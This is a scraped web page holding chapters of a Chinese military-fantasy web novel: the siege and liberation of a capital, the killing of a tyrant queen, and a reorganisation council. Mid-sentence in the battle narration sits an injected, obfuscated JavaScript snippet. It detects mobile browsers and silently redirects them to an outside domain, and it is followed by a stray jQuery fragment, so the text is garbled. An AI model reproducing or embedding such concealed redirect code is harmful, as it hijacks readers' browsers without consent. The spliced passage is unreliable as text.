紫洋蹲下就问：“我看你就剩一口气了，还能救首都？” 红莲抽泣一下，揉揉鼻子后说：“野芹留下，接应败退的队员。传我命令，主力和西部休整的队员一起冲击城下敌军。紫洋组织两个精锐集团，我们各带一个，赶往城下。” 紫洋停顿了片刻，轻微叹息，起身，对身后参谋官说，调集三星队员组成两个集团。 传令队员们再赶往各处，此时已有过半队员败退，先前败退休整的队员恢复到三成能量，组成人数八万的超大集群，涌向首都，城下的整个战场绵延万里，侍灵大军因缺乏指挥，只是被动还击，并不追击败退的队员，使得战局演化成了消耗战。 擅长突进的黑巴集群已经反复冲击过战场东部的侍灵防线三次了，这部分侍灵部队似乎被指挥官限制留守原地，防住大军的西退路线不被阻断，摩罗集群一路援救各处，才赶到黑巴身边，两人坐下休息。 黑巴一挽黑色短发，清秀面容上表情平静。 “你集群攻服务局东部阵地，占领后攻陷主体要塞，我预计里面没多少侍灵。我集群冲破防线，绕到敌阵地侧面，协助你的行动。” 她说完站起，随队员一同出发，摩罗看她们的队服奇特，脖子上都带着一条长长的黑色围巾，下一个瞬间，一万五千条围巾化作一道黑色河流，是黑巴集群特有的一体化队形冲锋，队形外侧队员受击就换到内侧，如此循环保持，形成一股势不可挡的战力。 她们突破先前削弱过的防线薄弱处，冲出战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875307|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场后，在平静雪原兜了一个急转弯，恰好挡住了正在撤退的贝家主部队，吓的她赶忙往西南撤，想回到侍灵大军身边。 黑巴注意到了这股敌人，可她约好了跟摩罗集群联动，夺取服务局，如若不能，大量败退和负伤的队员将无处休整，所以她无视了这股敌人，绕到学院东部阵地后方，展开队形围攻。摩罗集群从服务局西南角出发，趁势攻入阵地内部，双方很快汇合，再攻入主体建筑，一看里面确实没人，摩罗留下镇守，组织后勤工作。黑巴集群再攻侍灵大军的东侧防线，在此形成了一段战线，防止那伙敌军再从此处出逃。 这时的服务局南侧阵地已被曼达集群占据，不过她不断分派队员去支援城下战场，身边仅剩自己的精锐集团和竹桃集团，协助败退的队员进入学院休整。 突然出现的三万侍灵部队把能量告急的队员们吓散，而贝家主一看这里来来往往至少几万队员，就吓了一跳。 爱好打扮的竹桃副官一眼就注意到银色人潮之中，有一人打扮的极为华丽，金花绣满的彭彭裙，金色长发一卷一卷的特别好看，这人的耳朵和脖子，手脚各处都带了黄金装饰，手里还拿着漂亮的金扇。 “那个！” 竹桃伸带了宽袖的小臂，为曼达指出贝家主的位置。 曼达眯眼一看，感觉这人是来唱戏的吧，但又一想灵能会的主将都是些奇葩人物，这人肯定是大军指挥官。她和竹桃点头确认，二人率领两个精锐集团，冲向侍灵部队并迅速展开包围圈，六千多人围三万人很难。 可是，贝家主平生从未战斗过，眼见一个高大的黑衣女子跳入阵中，只用一个滑步就冲倒大片侍灵，径直向自己杀来。 贝家主扭头就走，她已经分不清方向，那侍灵多就往哪跑，迎面撞上竹桃。 黑色短发是樱桃形状，贝家主也觉得她品味不错，再看她穿的黑色无袖短袍，尽显少女的青春身段，灵巧曼妙，而一双小臂带的黑色宽大袖子很有古典美感，最后打量少女的面貌圆润可爱，还对她笑了一下就看向下方。 贝家主也低头看自己的胸前。 竹桃手持的双刀扎进了贝家主身体，黑光锃亮的一对大号西瓜刀！ 贝家主被双刀吓的哇哇大叫，乱挥金扇，把竹桃从她身上打落，曼达赶到又在她头上劈了一剑，剑把她的上身劈成两半，露出深蓝色的能量断面，贝家主本能的胡乱扭打，逼退她们。此时曼达和竹桃才懂了，这人不是一般的侍灵主将，可能是某种更高级别的侍灵。 贝家主在恐慌中摸摸脑袋，用力将自己的上身重新粘在一起，还是扭头就跑，曼达急追，竹桃在她身后掩护，阻挡四处袭来的侍灵部队。 当曼达的黑剑第一次与贝家主的金扇相交的时候，发现对手力量极大，普普通通的金扇像是被什么能量赋能，居然能挡住黑剑的斩击，而且对手的拳击和踢击都能对她的队服造成损伤，要不是她身高体大，体外的0元素更多，使队服覆盖整个身体，还真奈何不了贝家主。 曼达只能靠武技小心翼翼的攻击贝家主，而贝家主在慌乱中踩到脱落的裙子，这是她最爱的裙子，撕碎一块引起她心疼，低头去看。 曼达一脚将她踹倒，一剑刺穿她的后背。贝家主在极度惶恐中急切的想翻身，居然触发了本该施展的灵能力，后背变正面，用金扇猛戳，刺中了曼达上身，鲜血沿扇骨留下。 “哈哈！死了吧！让你追我！” “就凭你？” 曼达单手握住贝家主手腕，阻止了金扇再深入伤口，二人比拼力量，单论力量，曼达还没输过任何人，她顽强压住贝家住的手，另一手缓缓挪剑，贝家主本能的感觉到了凶险，加大力量的一瞬，曼达跳开，确认了这个灵能怪物的弱点，是人体的正中心位置，胸腔的正下方中心点。 黑剑挪动时，曼达恍惚看见贝家主体内有个极为明亮的小点，她蓄力一瞬施展一命剑，贝家主还在走神思考要不要逃走时，突然大叫一声化做一团蓝雾，炸散后一个光点升上高空，曼达因击杀敌军指挥官升为五星。 救援首都 城下战场，阳荷集群冲到巨墙下方，阻击侍灵大军，战役打到这份上，侍灵总数已经从60万降低到了19万，开始向家山方向撤退。红莲集团和紫洋集团赶到，汇合阳荷，三人各带一个精锐中队，率先登城。曼达杀散侍灵部队，望见黑衣队员登上城墙，就留竹桃防守，带一个联队625名三星队员，赶往首都。 红莲和紫洋冲上城墙，杀散侍灵，眼前已是一片尸山血海，约有两万名白猫队员命丧当场，她们不懂逃窜，只是边打边退往下层居住区。 先期登城的侍灵精锐部队径直沿主干道飞奔。 红莲中队和其他两个中队猛追，在侍灵队伍后方爆发激烈交战，高阶侍灵镰刀卫士有一点自主意识，它们下令部队分成两波，一波阻截三个中队，另一波继续向南方尽头的风花白夜宫突进。 侍灵精锐赶到防空墙再遇阻截，原来是王宫侍卫武官们不顾恶毒女王的命令，赶来阻击侍灵，狭窄的多级石阶通道，迟滞了侍灵部队。 曼达联队赶到红莲身边，冲破敌军，四位将军留下队员围剿侍灵部队，自己赶往王宫。 可当她们望向前方，逐渐升高的千级石阶极难快速通过，曼达大喊上房，四人跳上屋顶，沿着旧贵族们不断盖高的豪华别墅群一路飞越，红莲在极速奔跑的过程中看见一座高塔，这是古老宗教留下的遗址，红莲剑指高塔，几个大跳就越上塔顶，双手抓塔尖旋转两圈，将自己甩飞，阳荷紧跟做出同样的动作，紫洋见状哇哇大喊：“我做不到啊！” 曼达单手夹起她，绕柱子转圈将她扔出去，再将自己甩飞，四人依次落到防空墙地带，最后一名武官却已战死，四人乱杀再冲，眼见30名高阶侍灵卫士已经登顶，王宫大门近在咫尺，红莲心中无比懊悔，正当她反思自己有何疏漏之时，顶部平台上响起了兵器碰撞之声。 两位武官队长在此等候多时了，她们为镇守王宫而生，恶毒女王的愚昧并未影响这对姐妹的判断，她们知道侍灵若顺利攻占首都，女王或许活命，现在侍灵大军已破，这伙敌人就是来取女王性命的。 直钩形的黄金镰刀打在她俩身体上，却仍然不退，直到有侍灵绕过她们，二人扭身去挡，各自战死，红莲一剑洞穿冲在最前的三个侍灵，试图接住武官队长的半身，却眼睁睁的看她消散，其他三位将军赶到，四人与27个高阶侍灵陷入苦战。 这种侍灵面带黑布，身高近四米，肢体细长，身穿黑袍，挥舞大镰刀的动作极度迅捷，紫洋剑术较差，差点被镰刀拦腰隔断，所幸她星级高，存量未曾消耗过，硬抗下了这致命攻击，红莲先推她一下，再踢镰刀，再一把将她甩到后方，才化解了这危机。 情急之下，无可选择，红莲再度施展极命剑，一剑弹开十把镰刀，第二剑击碎十把，她取消极命剑，顺势击杀失去武器的侍灵卫士，曼达利用红莲第一剑的弹刀效果，也击杀了十名侍灵，阳荷挥剑帮她们挡下三刀，再挥剑击杀了其他七个敌人。 她们大口喘气，放松一刻，望向台阶下方，队员们还在阻击侍灵残敌，四人进入王宫。 觐见大厅里有十几名侍女，一见将军入宫就四处逃散，红莲四人赶往后宫正殿，沿途到处是乱跑的侍女和女官，等四人进入正殿，看恶毒女王在温泉水池边玩耍，脚踩着一个死去贵族侍女的血池。 恶毒女王看到红莲四人站在台阶下，就撩了一下眉毛，坐在尸体上说话。 “你想怎么样啊？” 红莲率先半跪，其他三人一做相同动作。 “我们请女王退位。” “喔？我退位？谁做？你？还是紫洋？” 红莲默然 “哼哼！行吧，反正已经没人听我的了，退位仪式在偏殿，茧，我们走。” 四人跟在女王身后，摸黑进入一个房间，红莲想过，恶毒可能会耍花样，但她的一个普通人能做什么呢？ “我一个普通人能做什么呢？哼哼！暗语密令。” 这句话是晴灯博士当初为了防止0元素穿越者是危险人物，而设立的一次性暗语，说出暗语的人可以使自身十五米范围内的所有0元素使用者丧失行动能力，因为橡树无害，所以没用过，却在这里，被恶毒女王用了。 “茧，开灯。” 恶毒女王得意洋洋的走在四位将军倒地的身体周围，她先是狠踢阳荷的头。 “你和她一样！背叛我！她说过只听我一个人的！她半跪在我的王座面前，发过誓！” 阳荷心想，玛丽安为你做到这份上还不够吗！ 恶毒去踢曼达。 “什么狗屁卫戍军团，你们也都宣过誓！就是你们这种垃圾！害死了母王，现在又来害我！南极人都该死！玛丽安为什么不好好听我的，一起把南极卖个好价钱！” 她说完走到紫洋身边，揪起她的领子，连扇四个耳光。 “我怎么有你这么愚蠢的后代？你刚才听到那女人说什么了吗？我退位也不是你当！你在干啥啊，蠢猪！最后的最后！” 恶毒走到红莲身旁，狠踢再踩，不解气再站到红莲身上猛跳，累了才下来再踢红莲的头。 “哎呀，哎呀，哪冒出来的野心家，天家主真有一套，能培养这么出色的间谍，我服你啊，红莲！我恨不得现在就喝一口0元素，变出小刀，一刀一刀的划死你！” 恶毒转身，摸着盛满黑色液体的高大罐子。 “可惜~贝家主说喝了0元素就无法成为侍灵了，啧啧！它们在北极抓住几个使用者，做过实验了，这液体会死死包住灵魂，除非自愿放弃灵魂，否则会一直存在下去呢。不过呢，我找到另一种办法折磨你，野心家红莲。每个人都有弱点，茧！愣着干什么，带那男的进来！” 茧出去了，恶毒再边走边说话。 “你们这三个傻瓜一定以为听错了，夜星怎么会有男人？被她蒙在鼓里都不知道，她其实是无比□□的□□！一直藏了一个男人在身边！她母亲是研究员，为她造个宠物也不奇怪！” 茧带橡树进屋，恶毒女王原本就算衣不蔽体，只用几条黑纱缠绕着，身材也算美艳，最美的还要说女王血统继承来的脸蛋，娇美动人又带着几分让人无法抗拒的纯真。 她抚摸橡树肩膀，全力一推，再跨到橡树身上。 “我今天就当这你们的面，哈哈！等侍灵大军再出发，我也玩够了，外人找不到这间密室，你们还是得死！哎？” 恶毒女王一回头，看见一个黑色金属物体顶在自己脑门上，她想起来这好像是手枪，可是王宫武官搜过他的身呀？ “你太恶心了。” 橡树说着，扣动了扳机。 咕咚咕咚，是恶毒仰后倒地，血从脑袋涌出的声音。 茧见此情形，赶忙逃跑，她怕被清算，内侍官虽然只是单纯执行女王在生活方面的命令，但确实眼睁睁的看着很多无辜生命死于恶毒之手。 “等等！茧你别跑！” 红莲起身，捡起地上血泊中的王冠，大步走到橡树面前，为他戴上。 旁人一时惊愕后安心下来，因为是这男生在关键时刻的决断救了大家，阳荷和曼达走到橡树面前，点头行礼。 紫洋走近恶毒的尸体，呆呆的望着恶毒的死相。 这位让她爱不起来，也恨不起来的亲人，永远离开了她。 30. 章30南极：平静时光 “啊？你要从后勤队员转到战斗队员吗？” “嗯！” 后勤小队长扫视城墙顶部平台和垛口，血迹已清洗干净，雪花覆盖了战场痕迹，她随众人一起遥望南极内陆广袤的平原，看到一切都已重归平静。 “我冒昧的问，是你结拜姐姐战死的原因吗？” 后勤小队长不知道属下的这位后勤队员为何要转到战斗队伍，但看这位少女表情认真，边走边说：“不是，姐姐活在我心中。” “好吧，我上报到天烛大人那，阵亡队员的名单和安排情况你知道吗？” “加上白猫部队是45262人，我上午参与了白猫安葬任务。新登基的橡树王下令融化王宫所有金器，在后宫密室建了纪念馆，以后每个队员都有自己的金徽章，阵亡就存放在那里。” “后宫？那王不要侍女了吗？” 一星队员点点头后说：“只留了茧和一个武官中队。” “那恶毒的后事会怎么办呢？” “听说红莲大人决定攻下家园堡后，给她和玛丽安举行王葬。” “原来如此。” “侍灵大军还会再来，这是姐姐付出生命建立的新世界，所以我要战斗。” 后勤小队长一时语塞，仓促敬礼。 一星队员乘坐升降机出城，同乘的白猫队员对她微笑，她回以笑容，看身边的货箱内装了三幅水晶棺，这是白猫队员的住所，她们喜欢待在城下的雪原。队员周围的升降机将大营的物资和金属残骸吊上首都，据说首都地下设施要扩建新的装备基地。 众人落地，她帮白猫拖拽水晶棺，一位后勤队长见状就临时征召她，协助白猫铺设地下电缆，水晶棺供电，这样能节约水晶棺内的微核电池。众队员完工后到白猫基地管理员处报道，她看管理员是个小孩子，白色短发扎了小辫子，一身宽大队服。 “你好啊，我叫小北，别看我矮，今年也20岁了，以后负责维护白猫住所，欢迎你加入我们。” 她与小北握手后说：“你好，我不是后勤队员了。” “喔？” 后勤队长帮她解释，而她取了一副雪橇，匆匆赶往服务局。 路上的夜风，带着一丝丝凉意，却也夹杂着雪原特有的清新与纯净，轻拂她的脸庞，如同一位母亲温柔的手，抚平了心灵的创伤。 风中，似乎还夹杂着远处在各处执勤的队员说话声，以及雪粒在空中舞动时发出的细碎声响，这些声音，虽然细微，却构成了一首悠扬的夜曲，让人心清宁静。 金属熔炼车开始融化战壕边堆积的侍灵银衣和佩刀，队员穿过战壕，进入立方体要塞，里面人来人往，好不热闹。她有点社恐，一位后勤队员主动和她搭话，二人交谈一番，得知她要转职成战斗队员，就引荐到曼达将军身边。 “后勤工作也是战斗啊，你真的想转吗？” “曼达大人，我心意已定。” “好，我想想。你先到战斗队员休闲室等我安排。” 她敬礼离开，来到三楼的一处酒吧，说是酒吧，实际没有酒精饮品，只是战斗队员们闲聊的地方，屋内三人，一看她是后勤队员打扮，就问：“你走错房间了吗？后勤在那边。” “我转成了战斗队员了。” “啊？厉害啊！小丫头！过来坐！” 另一个人问：“哎！你原属哪个集群？” “我原本是首都后勤中队的，姐姐是御前军团的。” 她这么说，其他人就懂了，她是隶属于玛丽安御前军团的后勤中队，怕别人问起她是否参与过平定三家之乱。 “噢~那你是首都来的呗！跟我们聊聊那的情况！” “你们想听什么？” “新王登基啊！听说是男的！离谱了呀！夜星一百多年没男的了！” 另一个人插话：“怎么，你春心萌动了？” “去你的！让她说！” 她想了想。 “我在王宫搬设备的时候，见过橡树王，感觉和我们没什么不同。” “噢！那红莲大人让他登基是有什么深意吗？要多生孩子吗？不用孕育罐基地了吗？” 这三连问引的众人大笑，她也笑了，随后说出看法。 “我觉得是为稳定人心吧，红莲大人总身先士卒，后方需要一个王室象征。但也不是谁都行，那男生除掉了恶毒，有点贡献。” 三人注意到曼达倚在门口，就都起身，曼达坐到桌边，对她说：“你到赛博空港报道，在那掌握滑行和剑术，我推荐你当新人班长，也有其他后勤队员转成战斗队员了。” 一人插话：“哎呀，曼达大人好偏心呀，我是从普通队员熬成班长的呀！” 她起身连忙道谢，曼达让她再坐下聊。 “其实后勤队员积累了不少战术指挥经验，你以后可以考虑往参谋官方向发展。你路过两所运输局，通知千里和阳荷。到赛博空港时通知藤萝和千鸟，这是首都会议调令。” “好，我这就出发，感谢您。” 内陆东部雪原铺展开一幅宁静而神秘的画卷，宛如一位温婉的女子，在寂静的夜色轻诉爱意。风雪以一种柔和而细腻的姿态，洒落在每一寸雪地上，为这寒冷的世界披上了一层薄薄的银纱，既温柔又治愈。 提灯在她腰间晃动，使前方光线摇晃，她还适应不了运用0元素提高视觉感知，到达魔鬼塔后，在巨大岩柱下方乘坐电梯，进入第二运输局，这里也可以俯瞰南极内陆。一位集团级指挥官引她去指挥所，路过许多防空炮和生活物资箱，表明了这处学院的实际用途。 千里的形象乍一看是位热情好客的指挥官，白衬衫和黑连身裤，白色长发上的兔耳有些奇怪，当她被兔耳吸引了注意力。 “你也要戴吗？” 她急忙摇头。 “唉~真遗憾，我以为总有人和我一样喜欢戴小兔子！” 她离开魔鬼塔，向东北滑行，雪橇有些结冰，影响了她的行进速度。 自夜空而下的每一片雪花，都像是大自然洒落的星辰，擦过这位队员的脸颊，轻落在雪地，层层叠叠，交织成一片洁白无瑕的世界，纯净得让人心生向往，仿佛能洗净世间所有的尘埃与烦恼。 红发红衣的阳荷将军与三位参谋官站在大凹坑顶部，向下观望，队员走近得知，阳荷要恢复第一运输局生产交通工具的能力，坑内的车站附近，战斗队员驾驶工程车，已将核弹破坏的物体移走，队员传达完调令就前往赛博空港。 在这片月牙山脉环抱的山谷雪原上，时间仿佛变得缓慢，每一秒都充满了诗意与浪漫。她独自漫步在这银装素裹的世界里，脚下的雪地发出“吱吱”的声响，那是大自然最纯粹的乐章，她变出信息板，将这一天的见闻写进日记里。 她到达赛博空港，抬头仰望，宏伟的高科技城市仿佛是希望的灯塔，鼓舞着队员们的信心，这座城市是我们的了。藤萝和千鸟在城外指挥自动工程机械，要打通地下网道。 那位转职成战斗队员的女子，传达过首都调令，转身回望，雪原像一幅流动的画，治愈每个人内心的伤痛，让人们在寒冷中感受到温暖，在孤独中寻找到陪伴。 稳定时局 千鸟和藤萝到达首都城内的时候，发现这里已经恢复到往日的平静，穿着防护服的市民们在主干道上走动，只不过人们都提着行李，前往上层豪华居住区，千鸟将军找人一问才知道，红莲宣布终结了资产登记制，每个人都可以随意使用所有的生活资产。 关于这件事，内务官茧想跟新登基的橡树王探讨实施细节，二人在后宫里，监督徽章纪念馆的工程质量。自动机械造完徽章挂钩，后勤队员递来徽章打印机设计草图，橡树点头认可后，往外走。 “夜星历史上也有人尝试过平等，但似乎会打击人才的积极性，我的意思是，红莲大人的初心是好的，但细节需要研究再实施。现在就有市民占了最好的别墅，引发了斗殴。” 茧不知道橡树有没有认真自己听说话，只看他径直走向王宫正门，又突然转身，走向右侧走廊，推开原侍卫武官的办公室。 “就这间吧，离正门近，我懒的走太远。” “请问要这房间干嘛？” “我的办公室兼住所。” “什？” 茧被橡树王的想法惊懵了，橡树却仔细查看房间的家具，有一个办公桌和两张沙发，靠墙摆了几组档案柜，办公桌后方有一扇门，通往里隔间，他推门看看，里面有床和洗浴设备，他出了里隔间，打量门后的空地。 “茧就在这办公，你下班就去挑别墅吧。” “不是！您是南极王，怎么能在这？” 橡树这人似乎懒得解释，他把金冠挂在衣架上，坐在办公椅上感受舒适度。 “我就一个奢求，帮我搞把舒服的椅子，平时工作可能会坐很久。” “那后宫怎么办？” “封起来。” “封？” “嗯，等晴灯不忙时，来看看能不能做研究所，毕竟后宫的防卫挺严密的。” 即便是冰雪女王在世，后宫也是有绘画，音乐，舞蹈等娱乐活动。茧当了多年内侍官，第一次见这样的王者，突然明白红莲扶他上位的用意，不是傀儡，而是真的有什么不同的变化，这对姐弟到底要干什么呢？ 橡树看茧站着发呆，就说：“茧把红莲姐想的太复杂了，她就是想让大家想干什么就干什么，想住哪间就住哪间，想吃什么就吃什么，想玩什么就玩什么。因为侍灵大军随时来袭，我们都朝不保夕，人死了，什么东西都是浮云，关键在于活的时候，尽量如愿。” 茧好像懂了，但这想法太新颖，她一时找不到参照物，还想反驳：“可是？” “我昨晚通宵看过首都的人力和物力资料，这城市最高峰时容纳过2000万人口。现在市民总数是多少？” “97万。您是说昨晚戴上王冠就工作？” “不是工作，是我想做。我以前听小说，就幻想当国王后能把国家治理到什么程度，现在有了机会，我愿全力以赴。而且我和红莲不是亲姐弟，我得配的上领袖弟弟的身份。茧你觉得红莲为何扶我登基。” “亲情。” “是，南极王是最安全的位置，这样我和晴灯都在大后方，她就没顾虑了。问题是我不能这样白得好处，你们都在战斗，我至少该做些力所能及的后勤工作。在城区信息网络设立住所魅力度排名，大家都想住的房子就排队，每人住一段时间。反正维护都靠自动机器人，就全免费吧。其他娱乐活动也按这思路，原则是让人们都用过。” “这倒是不难。” “还有，任何人都不用向我行礼了，我想淡化地位差异。对了，你们总称上级为大人，是沿用古代称呼么？” 茧尬笑道：“对，最终战争时期，全人类都挤在南大陆，就是南极，有90多亿人口，当时的人类联盟，将人的身份从低到高分为余人，下人，正人，大人，上人。现在的大人称呼只有敬慕之意。” 二人说话间，一名侍卫开门，红莲带曼达和晴灯进屋。 “我们找了你俩半天，橡树是看上这间屋子了吗？” 知弟莫若姐，橡树点头微笑，红莲还从房间距离正门很近猜到他想参加战斗。 “这位是曼达，曾任首都防卫将军，我留她在这驻防，称为御前集群。” 红莲说到御前两字，众人心领神会，是纪念玛丽安的功绩。 橡树和曼达握手，见她是一身黑亮皮衣，是一位高大威猛的将军，双方寒暄几句后坐下，红莲又说：“首都是最后一道屏障，还是灵能会重点进攻的城市，你和曼达要全力配合。另外，曼达是优秀的战士导师，你可以向她学习剑术和战术。” 橡树笑说：“茧，你看，我就说红莲姐不止是把我放在王位上待着！” 红莲再叮嘱：“茧精通内政，你要尊敬她。茧，请你多指点他。首都的战斗事务由曼达负责，装备的研发和生产由晴灯负责。母亲大人，我给你带来一个好东西！” 红莲展开随身包裹，将一个机器脑袋递给晴灯。 “这是什么东西？” “业凰会长的资料写它是古代离线机器人之一，叫咖啡，它一个人就能生产并控制150万个机械人偶，我把它的头砍下来还一直说话呢，现在大概是电力不足，休眠了。” 侍卫敲门进来，说参会人员都到了，红莲和曼达出了办公室，往正门左侧的走廊走，曼达轻咳一声后说：“我很久不见江南了，你把她弄哪去了。” 红莲站定，拉曼达到墙角。 “望江南的指挥才华非常出色，将军级队员大多鲁莽，很缺战略人才。我们说不定哪天就不在了，得培养第二代将才，曼达老师，放学生出山吧？” “嗯，我也很爱惜她啊，当初全员的战术部署，我都听她的。你这样说，就带她去吧。” 两人进入会议室，将军级队员都在场，包括从第二工业局撤回来的龙葵和金钟，她俩是玛丽安生前任命的重要将领，红莲把定好的编制计划分发到每个人的信息板中。 内容如下： 队员数及指挥官名 业凰大集群46875人，红莲，夜兰，铃兰，玉珊瑚，望江南 后备超大集群78125人 侦察集群15625人，千里 后勤中集群31250人，天烛 下述集群各有一个3125人的后勤集团 御前集群15625人，曼达，竹桃 千鸟中集群31250人，千鸟 紫洋大集群46875人，紫洋，野芹，天荷 黑巴中集群31250人，黑巴，藤萝 阳荷中集群31250人，阳荷，摩罗 龙葵中集群15625人，龙葵，金钟 这份编制基本沿用了各学院原本的人员，红莲解释说，首都解围战役中暴露了指挥官和队员互不熟悉，指挥混乱。所以今后就各带各的队伍，红莲只对其他将军做战略层面指导。 阳荷问：“这侦察集群是？” 红莲答：“电子侦查系统受北极先进技术压制，我们先使用人力侦察，我给千里一个集群编制，她慢慢积累能胜任职务的队员，大概得是顶尖的人才，想加入的队员还可以报名。还有，所有队员都可以自由流动。” 紫洋问：“自由流动？” 红莲答：“对，我要求所有人是自愿参战，想跟谁就跟谁，不得强迫。” 紫洋笑问：“那队员要是都回家了呢？” 红莲笑答：“那就让她们都回家，你们也可以回家睡觉，我一个人战斗，真的，灵能会的军队难以计数，兵器系统五花八门，大将各怀绝技，我们毫无胜算。队员愿意打就站着死，不愿意就回家躺着等死。” 紫洋哼了一声。 千鸟提问：“我们都有一个后勤集团是吗？” 红莲答：“对，负责武器装备的运输和维护，队员的医疗和休整。天烛的后勤集群会跟各位的后勤集团协同，调运物资和人员。之所以严格控制各战斗集群的后勤队员人数，是因为南极内陆开阔，无险可守，战线很容易就被敌军突破，那么战斗力低微的后勤队员就是白白送死。简单来说，物资埋在雪原各处，战斗队员得自行取用，这是没办法的客观原因。发生大量败退时就撤往临近城市。” 曼达问：“后备超大集群是什么情况？” 红莲答：“卫戍军团这10万人的素质很高，让她们自由流向各位麾下，替换一些不强的队员到赛博空港，再锻炼。曼达你在首都设队员招募处，等自愿加入队员的人，训练后也派到赛博空港。你们挑剩下的战斗队员组成五个集群，成为后备队，让各位的集群始终满编。” 黑巴提问：“那龙葵集群是怎么回事？她临阵脱逃，属下现有3125人，你给她一个集群？” 龙葵正要发火，红莲摆手阻止。 “既然玛丽安任命她当将军，说明她有才学，应得一个集群编制，队员愿意加入她就去。诸位还有问题吗？” 阳荷问：“最重要的防区归属没说呢。” 红莲站立，变出黑剑，双手以剑支地，面色凝重。 “我们现在没有防区，敌军用远程火力把雪牢关又占据了，入关可破中线的业凰，服务，首都三地，家园堡还可侧攻这三地，呼。侍灵败军没进家园堡，说明了侍灵部队也有从属，家园堡守将无权指挥贝家主的部队，那么我们就有几天窗口期，攻破家园堡，完全控制内陆。达成后再说防区规划。这次的战役是个考验，守军只有五万，但是家园堡城防严密，地势险要。我想试一下诸位能否替代我，我战死了，她就是下一任总指挥。各位将军，谁想试试？” 紫洋张着嘴，挪动着下巴，迟迟不敢说话，其他人更是干脆闭口等待。 僵持了十分钟，龙葵突然站起，自告奋勇。 “我来！” “好。” 红莲走到龙葵身边，与她握手，带她到总指挥座位。 “龙葵任临时总指挥，曼达留守首都，各位将军听她调遣。龙葵，后备超大集群也归你，我再让铃兰带业凰精锐集群援助你，编制通告已经发到每个队员手中，你们尽快补完编制，最迟在36小时后出发。我在首都还有后勤事务处理，后勤会议成员留下，其他人行动吧。” 红莲出门去找晴灯，到达橡树办公室就见很多后勤队员在控制工程机械切割墙体，搞的室内外乌烟瘴气，家具也都搬了出来，她询问后才知道，橡树本人就可以充当一个0元素培养罐，生成0元素。 后宫要设立0元素研究所和装备研发所。 晴灯指挥后勤队员在他办公桌下方安装一个地下管道，连接后宫的0元素存储罐，这样他在日常生活中就能提供0元素了，红莲也有意把0元素培养罐运到赛博空港，利用那里的技术设施开发新武器。 装置全部安装完毕，研究所的设备也开始调运，茧和侍卫把后宫的家具运到橡树办公室，让这里多了一点王气，红莲见一切安排妥当，就带晴灯去参会，等她们回到会议室，无关人员已经离开了。 红莲看在座的人都是和善面孔，也不好按作战指挥风格开会，再加上她有外行的自觉性，就用聊天的方式说话。 “我今天就两个请求，用原初0元素研发一种盾牌和一种远程武器，单人携带，能尽快量产。” 她看人们都面露难色，就补充说：“敌军有远程火力，队员们的武技参差不齐，单靠队员的0元素硬抗伤害不行，而且我在北极期间，见过敌军的飞行单位，所以必须有远程武器。” 藤萝说：“我凭意识造出过一把狙击枪。” 晴灯问：“是嘛？” 藤萝点头后尝试复现枪支，枪维持了不到5秒就消散了。 晴灯激动的说：“这样就够了！你构思的太复杂了，嗯我想想，用治疗椅的头盔提取你的构思，转写成电子程序，输入到0元素数据接口就能造出一把简单的火铳，盾就更简单了。” 红莲一脸问号：“火铳？” 晴灯：“哎呀你不懂别插嘴！” 天荷问：“信息板侧面这个就是0元素数据接口吗？我试过连数据线没反应呢？” 晴灯：“噢，0元素的控制系统是仿细胞编程器系统做的，普通计算机系统不行，我把系统拷贝到你和藤萝的信息板里，这样你俩就能自由开发0元素程序了。远程武器就参考人类第一种机枪，用轻型合金造一个圆筒，灌满0元素。把藤萝脑子写的电子程序拆解开，只要生成子弹和生成能量场击发子弹的过程，重编写成被动式的构思程序，因为队员脑子混沌，保持不住构思嘛，就得输入到队员体内，藏在潜意识里，靠外界设备触发，圆筒安装一个能触发这程序的硬件芯片，队员抱这这圆筒，圆筒是一挺0元素机枪！” 藤萝佩服的五体投地，连说：“太精彩了！” 晴灯被学者夸就更来劲了，问红莲。 “那种侍灵远程兵叫啥来着？” “弹幕型。” “噢，弹幕，弹幕，那我们就撑把伞！” 众人齐声问：“伞？” “对！伞的结构也不复杂啊，尤其是0元素的物体可以大幅简化结构，把藤萝构思枪的程序稍微改一改，几根黑色直条拼在一起，不就是把伞嘛？让队员的潜意识里藏一根直条也不难。那么这个圆筒的外壳就得会变形，伞模式下，外壳就变成伞柄，再用0元素细的直条包起来，宽的直条拼成伞面，退出伞模式就变回圆筒机枪。” 天烛插话：“外置的武器装备就有运输和存储问题。” “啊对！啧，我现在只把原初0元素的存储期限延长到六个小时啊，每六小时，必须有一个队员站在一米之内重置存储期限。” 天烛：“这倒是不难，我编好运输规章，让后勤队员执行。” 晴灯看武器装备的研发流程通顺了，就要开始，但见红莲还在，就问：“你还有事吗？” 红莲笑答：“其他人还有事吗？” 千里举手后说：“哎，晴灯老大，你就不能用0元素开发一种远程通信的天线吗？我让侦察队员也每小时摸一下啊！” “这很难！你知道意识通信是什么原理吗？是人体的感觉最远范围是50米，就是你既没听见也没看见，凭直觉判断物体的范围。简单来说，就是自己觉得自己能察觉那么远的距离，潜意识支配0元素微量飘散，和其他队员的微量0元素相交，进行意识通信。” 千里忙说：“那我觉得自己能感知整个南极！” “吹吧你就！” “真的啊，小兔子能耳听八方！” 红莲帮她说：“千里的侦察兵生涯锻炼的直觉范围是很远。” 晴灯想了想后说：“那千里你就当实验体，我抽空测试你的感知范围，或许能造出天线。” “噢噢，小兔子上手术台啦！” 天烛起身打算离开，红莲送她，路上说道：“家园堡战役后，我给所有指挥官和参谋官作业，标注地图上的三种位置，物资藏匿点，地下庇护所，物资碉堡。到时汇总给你，你根据这些位置的需求，让后勤系统协助你制造相关装备，尤其是物资碉堡，我希望它能容纳125人，抗住侍灵远程武器的轰炸。” 天烛记下这些要求。 